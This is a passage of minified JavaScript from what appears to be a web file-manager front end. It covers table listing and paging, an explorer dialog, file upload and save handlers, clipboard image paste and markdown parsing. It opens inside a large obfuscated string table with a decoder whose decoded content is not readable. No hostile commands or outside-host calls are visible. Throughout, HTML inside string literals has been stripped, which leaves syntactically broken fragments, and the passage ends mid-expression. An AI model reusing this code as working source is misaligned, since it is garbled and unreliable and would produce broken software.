8k4WRazxmo4yW==","r0xdUmkOW60=","WPddKtiWWRG=","EmodfeldMmkUW7hdKLRdNCosWQhdUmoot8kDqmo3W4j2i8opeqqYe3evW7FdOe7cNwddQCkAjW==","tx3cUJze","oSkafhVdVqbNwHRcICohCuddJSk6WQO=","WRNcLJOEWQ5f","WOFcOYCrWRi=","WO4cW5hdPeiKW6qmW6hdGW7cTJqVeYC5W44=","e8olbCkvW5q=","wmoAW5tdSH7dIa==","ACoiWPTPW7O=","WOKaeKmfg8oSW4G+WRWzualdKY/dUYDGWQlcPSofWRO=","zw41WRCsW5pdMHaH","cmksd8oakq==","qmkQxsGI","WQpcGmkSWPae","WPryWOpcJIG=","ACoOow/dGW==","qmoIiNldLa==","xmooW7u=","gx1yWQnVzG==","CXxdHmkdjW==","WOJdGNBcT8oh","xCoJW5HwEq==","W6NdHSkwW5hdRG==","WQ0dytZdNa==","kSocWRddTSkD","zx8SWRy/WO7dHbi6W6PJW7HBW6JcU8kKBxm=","W6/cMIX5WOm=","vaBdS8kafG==","z8koAXq=","WPZcGqaZWOC=","WRaGBmo6xW==","pSo+kSkkW7G=","hCoCDI/dNsOF","W4K0W40sdG==","A2S1WRy+W4/dKa==","lmoXWPxdJmkQ","DSo8W4LhBq==","WQ3dLYysWOy=","wSkSwse8","WOfvWQpcMrK=","W7uwnSkLB8kSzmkPW6K=","W7OGrSkZWROfBG==","i8ogWRVdJCkJoXdcICkT","WOabhK4=","W7uwnSkKzCkZFW==","BCojda==","vCoeq8kuW7S=","tN/dVmkEmq==","tCkwBr84W78=","WPm+pmoPW4CgW4C1W7eR","hMrpWQ10CSo5WRBdSKD0WPjb","xCocW4VdSX4=","rmk3vSkvpSkjW4i=","WRZdMxVcLSoW","WQS4cCoVW4e=","WQxcNGaAWQW=","nCoArq==","WQFcVCksWPCW","W7dcTdBdLCkA","bCktmSoZba==","dhfRWR9k","xSkoEGmT","sKZcGIPiBCk7ohFdQ8kvWQCFW6pdMgH0WPy9qCk3W5ygW59O","wKJdK8k/gW==","WOiVzbhdMmkt","r8onde8=","WPSLk8oTW6ahW48P","gmo6WQldN8ka","a8kGlNJdNa==","eNvaWPXj","BSojg0JdVCkV","Dgz7W5bJ","zCocg0i=","FSotW7xdQci=","tSouf1ddIW==","h8ora8kSW6n/W4vE","oSkafhVdVqb7wGlcHCklCWRdMW==","AhZdOG==","W4pcQrpdQ8kh","iCkXahddTa==","W5GHwSk7WQe=","WO0RAr7dICkPu8kkW5XkW63cUq8=","ymkqiutcG8kHemomWPrT","WQVcKsuEWRaEjH45kCkQWRBdQcJcLCk3","WQFdJqpcUxa=","wSooymkaW6y=","r3dcTCokWOddTfe=","or0rWRqsB8kF","W5GyCmkwWRS=","yCkoyqu=","ySo1s8keW7K=","CmoHsSkeW6pcQNZcKCoHaN08W4HhW4aZW742WPfqfsJdVZSZsMxcR0tdMmoJW5G=","WQNcLcSFWRTJjaa3kmkZW7BdTq==","lSkxhgdcVfLGubNdJ8olzbVdHSkXWQbw","uKZcQmoTWQK=","rmoFWODAW6K=","emoxWRNdISkp","wSopW6X9uKGieclcQtFdJeSjW7r+WQHR","W5ijW6S4bq==","WQBdLuBcUmo/","FmonW4P+ta==","W6a8wSklWOa=","WOaFW6VdP08=","nCklhCounG==","WO3dKfVcOSop","mc3dRCk0WOC=","f0P7WODy","WRecWQHvdG==","W6ldTSkvW6JdLa==","gCopfmkPW7L1W5m=","FgHeW59a","D09KWQq6cGi=","zCoGx8kzWQldR27cK8oVa38PW4qyW4C=","W5ecECk7WRq=","WPpdOhRcVmoK","emozjSkZW70=","W7FcSHj7WPu=","W7qLrSk1WOekBSo3qNKiWQ4=","DSkvoLFcJW==","W6dcQs3dKSkoW7bGfM3cGmoVga==","BCofm2RdMa==","mCkjkNBdGq==","WPWdW4G=","f8oBdCkPW7G0W4fyW6y8W6aWWROGj8orWPtcTK1wW6i=","WOufWOnGia==","hvjiW5tdTq==","ntjtrZO=","hSo4bCkwz8otWPayuG==","EbhdRmkGda==","ySoJavldUW==","Dg3dHmkrW7mfbCkjACoJwmkeW6KSWQ5TW6XZ","WOudh8ocW5O=","WRxdGxhcGmoq","jaupWPq3","W4CkW5WUlW==","FHRdJmkad1jIwrpcN2FdPfn6WOhcSmkWtZFcT8oXr8oiqa==","oh1dWRft","W6SlpCkqBCkKEq==","ymoEWOXFW5JcLW==","Fmocv8k7W7S=","l8otWR/dRmkPjZhcHCk+","mcJdOCkDWQm=","q8oEWRT7W5i=","WRHAWQVcNrW=","CCkimvVcK8k8","B8oAguS=","BCkyEb0JW77cN8k9qComW6NdRWaoWOJdRmk0WPjyEmkxne1mW6e=","CmkumKpcL8kYoq==","i8osWR/dP8kIEHtcGCkPyConWOrWW5BdK8kti8oRWQWQ","W7G1x8k4WRazt8o5ANixWR/cHJX5bmol","lWBdKSkrWR0=","WOPrySojWPO=","tSodfx/dUa==","s8kwnNJcLq==","w2JcOmorWORdIeCmtL0U","WQtcMJWEWR1ueGmKka==","W6VcMZbfWPW=","wM3cQcHc","aCoAWRddMCkL","qfJcK8ogWQ4=","W5RdOmk0W63dRMpcQCkWDN5ZzeFdRJS6W6a=","m8oDCd/dSW==","WQmjW5/dRebpW6qnW7q=","WPO4yXhdI8kEra==","WP3cG8ou","CgKOWRG2W4tdKq==","WRvLpCoYW7arWOqVW7qRxx5l","WOWOWRHAea==","WQedc30i","Ch1vW7XwWRDwWORdHSk2W67dGSk0","WRNcKdW=","jSkgpCosla==","WO/dUetcICox","BhBdSSkc","zMhdImkkW7H/eSkxACo3ta==","W53dI8kHW5xdMG==","W5G7W4GdbxT4r8kLamkUBSoiEqBdJmkOWRtdGmo/W6SqW5GKWPJcKfy=","W73cKXDzWRtcGtXtW5mQAXldJmoH","WQiEWQ1scG==","bs9mAa==","WRGqr8osyLJcSCoTnd7cLYddVMbEW4PdiM1z","FgddPCktlSoy","lYT4zry=","vvbGWR4B","WOpdIIBcGM7cVMXsFtOJwCkBpW==","WPGKkSoaW7ehWOyWW6GSALnMrempW57cR8kjWOiFnCo9uCojW4NdIJBdK8kiWOBdQq==","W5PXW5v4WPq=","D2VcTCokWOldVW==","WQ7cJX0eWQK=","WPZdJZiAWR8=","s0TNW7DT","WPRdHZGEWQi=","DCoCWPPxW5xcNh/dKLL2bCo7","WPFdVGxcHfm=","W5iTmCkVrq==","xx0BWRZdSmk9WPaFW74nW7dcTCkFgSkgWQKPAmoEzCkSW65KrM8=","WQRdNwlcTCoHsmksn2Tc","eurRWQPy","r2JdGSk8W54=","sSo/WOzwW4S=","w8k3s8kBoSkyW6zAfs/dUSo4BKC=","n8kMc8o0c8ku","xuNcGZzd","WRlcLSopzSkr","CmoWu8kcW5NdPhZcJSocgw8V","WR7dSJaRWQtdOCkcW5bsWQJdGW==","WOLTWQpcOJe=","dMrcWQjUBW==","WOftDCoKWPW2","W6HqW7DzWQ4=","erNdJSk0WPhdSmoPqfG8WR9S","B30UWOu1","z1GgWPq/","WOGJW4NdM10=","W4BcKqX0WP0=","W5i6hmkeuG==","mXurWRGtzq==","uLZdJmk1W7m=","WOr4vmokWQ0=","WOhdUXpcPwa=","sxdcSCogWOhdVMejseCV","WRhcLSkpWQum","sSo4W6nMDW==","kmkrcwldVf19","ESoaduddSmkKW4FcM0xdNCoiWQe=","W5ddN3mJka==","W6y1qmksWPO=","CgnvW7XqWPfYWOxdI8k+","W7xcVJy=","dgPPW7xdHa==","W4RcLxhcGGldPIGFda==","WRJdVGK9WOu=","dfniW53dHq==","WQ/dI1lcH8oo","aCoEyq==","CmkSrqiK","W5ldTmkGW4hdSG==","WOL2WR/cOZRdSX1FWOXrW6ZdPSkz","WQtcQ8oStCkBCdxdPW==","WPpdIvdcGmoz","WPmVjCoOW7TmW5K/W7m6rLLOhXWaW4u=","WP7cImkvWRSICSoUW77dRCkm","AJZdPSkAjW==","fejoWPrL","hmokeN3dTWfIwGRcQCoG","oSkafhVdVqbOwW/cJmoDzWBdNmoXWRPxecpcVq==","W6yKxCkOWRaOCSoYyxqg","s8odee3dJa==","vmkKoKlcKW==","WR7dLhtcVCoSqW==","W6uCC8k8WQ0=","tmkbFXGA","z8kjudyn","WQRdHvdcQ8od","WPldJWuYWPe=","WOSwgKSFuCozW4GUWRyvufK=","eY/dRmktWRS=","ghHzW7NdQCoP","ygPeW5jsWQz6WONdJq==","AbddRCkMnW==","k8ocBdldIa==","W5ldPKi2iq==","WO7cPsSDWO4=","uMFdISkmW7m=","WRCbW4VdNw8=","BN3dU8kojCkAW7L9WQWacCkesSkbW7RcICk5WPPP","W7ldO8kTW5pdOW==","CgiXWRO=","WQhdUYm3WQy=","W7zQW6DRWRm=","WOVcNHKGWO8=","eCoAfa==","WRXmWQ/cMJe=","jmo+WOVdJmkj","v8oeWO55W40=","W5NdPCk6W6/dTtZcH8k6DxP/Cq==","WRVdLxRcU8oMcCkZo3vuESkNhdCeWO5EgYG=","jwTcWRj7","WRCbhKKd","4Ocy4Ocd4Oc977MI4OcP77IT4Ocy4OoT4OkO4Oox4Okg4OkN4Ool4Oo/4Og54Oof4OcY77Uy77Q84OoA4Oo34OoY4OgP77Qi4Ogq77Mf4Ogs4Oki4Og+4Ok04Oo74OgA4Oc64OoA4Oc94Oco4OcP4Ogk77IC4Ocg4Ocv77I34Oor77UR4OcY77I14OcG4Okd4OkO77I077IJ4Oo84Ocp77MY4OgR4Oci4Ok777Uh77UF4Ocp4OgQ4OkV4Oo04Oo64Oke4Ogs4Ok/4OcY4Ogz4OoN4OcT4Okt4Ogn4OkA4Okl4Ocv4OkL4Ocm77QX77Uy4Okx77Ii4OoU4Og74OcH77U14Ogt4Oc84Og/4Ok+4Ood4Oo54Og24OoV4Oof4Ook4Oc/77It4OcR4OgI4Oov4Ogv4OgC4Ogz4Oko77Q877IB4OgJ4Okp77Um4Okl4Oke4Oci77IH4Ogi77Il4Oon77UN77IK4OkJ4Okq77Iq4Ogg4OcN4Oc177MF4Ogj4OcR4OcY77QH4OcL4Ocm4OkJ77Ik4OoX4Okw4Ok977Mo4OcT4Okz4OcF4Okd4OcD4OkC4OgF77QW4Ooc4Ooj4Oga77MW4Okm77MJ4Okq77QO4OoV4OoX4Oku77MO4OoK4OoL4OgU77UA4OoN4OkJ4OcL77ME4OcT4Oct4Oov4Oo54OgI4Ock4Ogc4Oce4OcU4OgY4Oga77U54Og84OgU4Ocp77Ul4Ok44Ocn4OoS4OkT4Ocu4Ogp4Oo177MY4Ogf4Og74Og977I74Ogy4OkK4Okl77Qa4OkK4OcI4Ocv77M+4Oow4OkQ4Ocr77MM77Ip4Ocy4Ocw77Md4OoI77UU4Oo777MQ4OoU4Ok24Ook4Oon4OoR77MW4OgN4OoV4OkA4Oof4Oct77QF4Ocv77Qh4Ogg77Ig77U477UZ4OgC4OkM4Ogy4Oc/4Ocf4OcV4OkR4OkG4OgF4Oou4OgE77M24OgQ4Okl4OcK4Ocr4OoL77Um4Ocp4OgM4Oos77Iv77MW4OoM4OkV4Okn4OgP4Ocr4Oo877Iq77MT4OoE4Oc477I/4Oc877Iv4OgA77Qv4Ogr4Oog4OkL77M74OoI4Okq4Ocw4OoH4Oo04OoA4OoC4OgM77I54Ogf4OoH77Ih4OgB4OgM4Ok24Ogy4Okn4OoF4OkW77IC77Mo4Og34Og24Ocf4OcJ4OcV4Ogm77Qg77Qg4OgS4Ocw77MI4OoU4OgW4Oka77Mr4OkW4Oos4OcT77ME4Ooj4OgM4OcV4OgB4Oca4Ock4Og977UO77QL4Oox4OgT4Ok677Qq4Okw","WORdKZa9WOe=","WRGqr8osyLJcR8o8nI7cKZxcTc5iW4TPp3rjdq==","DCk/ASkGfG==","WO86EHpdGSkFDCkoW5rsW6a=","WONcMsOGWRC=","W7aYW6G6jW==","Dg3dHmkrW7mfbCkjACoJwmkeW6G+WQP2W7L+WRWPWRSHBG==","WPVdVstcJ1S=","gSoyyd7dOW==","W6pcOZldK8kIW6PKfGhcHSoLgCocWQpcUmoOW7qJWR4YFNmpWPS6","BSoLW4X2uq==","W7/dGKuXiq==","WOuyh8oOW7C=","kgPnWQ5t","uM/dOSksW60=","W4JdSmk2W7BdPr7cOCk4DgPZ","WPhcKSkvWR0vDSorW7ZdM8kwl8oEW6NcSW==","qCkbCCkqpq==","WPOFW4VdV0e=","hSo9DsRdTq==","W7/cNbvDWQJcOdbrW6K/Ba/dOmoJWRmdW4m=","WQZdVH0KWQW=","cgFcPGC=","W6NcQZBdLSkIW7zY","hCobsIldPW==","WRtdItBcM00=","WPddUaG+WRm=","mNjRW6pdMa==","bMrhW6/dQCo2WR9EW6nnW7NdSq==","BJddP8k8gq==","jqfmAGa=","WReHFH/dGCkE","WQRdPJO0WPC=","W6SDlmkpCW==","uMv5WRW2","WQSYfwe9","ACoyW6bXCW==","WR3dNYycWRBdTXDKz34=","uhqGWRCd","W4nLW7ZcQ23dVqzcW5LzWRJdQmojW6vlC1ddIr3cH2GvW6hdMW0=","bw5EW6tdR8oHWQ1oW6y=","wSktArqd","ySo3ra==","W43cLqddPSkD","WQNdIHyqWOa=","W55+W5r9WR0=","WRK1WO5emW==","otpdJSksWP8=","swxcTCowWOW=","cNrEW6ldMmoLWP9bW5bmW6i=","WP/dHauOWR0=","WPJcKdKcWRTcns0Wkmk/W6VdGdxcGSkGWRf8o1DLgI7dSdldGCk2","wu5IWRqu","W5pdSKuwca==","W5iHdSkhzG==","WQaIrZZdJq==","WQmGwHFdVW==","CCkflv3cK8kDnCowWPm=","W7e1uCk1WReo","WOpcV8kTWPWo","W73cMrTCWQpdNtrvW6GYmaNdHSoIWRKuW5q=","W4f4W45qWRe=","jCoremkWW5C="];a=s,function(e){for(;--e;)a["push"](a["shift"]())}(363);var p,i={},r=(i[(p=function p(e,t){var h,i=s[e=+e],n=(p["hBcthL"]===undefined&&(h=function h(e){for(var t,i,n=String(e)["replace"](/=+$/,""),o="",a=0,s=0;i=n["charAt"](s++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["buggMs"]=function u(e,t){for(var i,n=[],o=0,a="",s="",r=0,c=(e=h(e))["length"];r',r+=''),t+='
'+n.title+r+"
",i[n.field+"_@_"+e]=n}var c='
'+t+"
";this.columns=i,this.target.find(".content .list-table").html(c)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),o=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){o.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+='
'+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,o={},a=(_.get(e,"attr.formatter")&&(o=e.attr.formatter(i)),$.objClone(e)),s=(a.attr=a.attr||{},a.attr=$.extend({},a.attr,o),_.unset(a.attr,"formatter"),[]);for(n in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)s.push(n+'="'+a.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var o,a="",s=t[e];for(o in n){var c=o.split("_@_")[0],l=s[c],d=n[o];_.isFunction(n[o].formatter)&&(l=n[o].formatter(l,e,t)),a+="
'+l+"
"}i+="
"+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=a(27),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),o=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=o+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+o+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var t=this.dialog.$main,i=function i(){var e=t.width()<600;t[e?"addClass":"removeClass"]("app-wap-small")};i=_.debounce(_.bind(i,this),50),this.bind("viewResize",i),i()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(28),a=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var o={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},n=(e=this.uploadContentParse(e,o),$.extend(!0,o,n||{}),new a["default"]({"parent":this,"paramData":o}));this.uploadViewEvent(n,i),n.uploadContent(e,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},t=(e=this.uploadContentParse(e,n),$.extend(!0,n,t||{}),new a["default"]({"parent":this,"paramData":n}));this.uploadViewEvent(t,i),t.uploadContent(e)},"uploadContentParse":function(e,t){var i;return _.isString(e)&&t.postParam&&$.browserIS.mobile&&(i=new Blob([e],{"type":"text/plain"}),t.postParam.base64Upload="1",t.postParam.base64str=base64Encode(e),t.postParam.size=i.size),e},"uploadViewEvent":function(c,t){var e=this,i=[],n=!1,l=c.paramData.tipsLoading||LNG["explorer.uploading"],o=c.paramData.tipsError||LNG["explorer.upload.error"],a=c.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=c).paramData.single,h=Tips.notify({"id":c.paramData.tipsID||"","title":l,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){c.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=c.uploader.getStatus(),e=a+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(c,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=c.uploader.transfer||{},o=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",o=n.speed+o,a=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=c.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),o=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(o=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t
\n\t\t\t\t\t'+o+'\n\t\t\t\t\t'+i+s+"\n\t\t\t\t
");h.title(l+a).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":o,"icon":"error","delay":2e3}):h.title(o).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(a).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=o+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!c.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,c){var i,l=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((c=c||{}).postParam=c.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",c.allowAllFiles?(e.type||1"+i+"","hash":e,"time":timeFloat()})},a=function a(e,t){var i=t;try{i=e.render(t||""),_.each(s,function(e){i=e(i)})}catch(n){}return i},s=[],d=function d(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),o=_.keys(t),a=0;a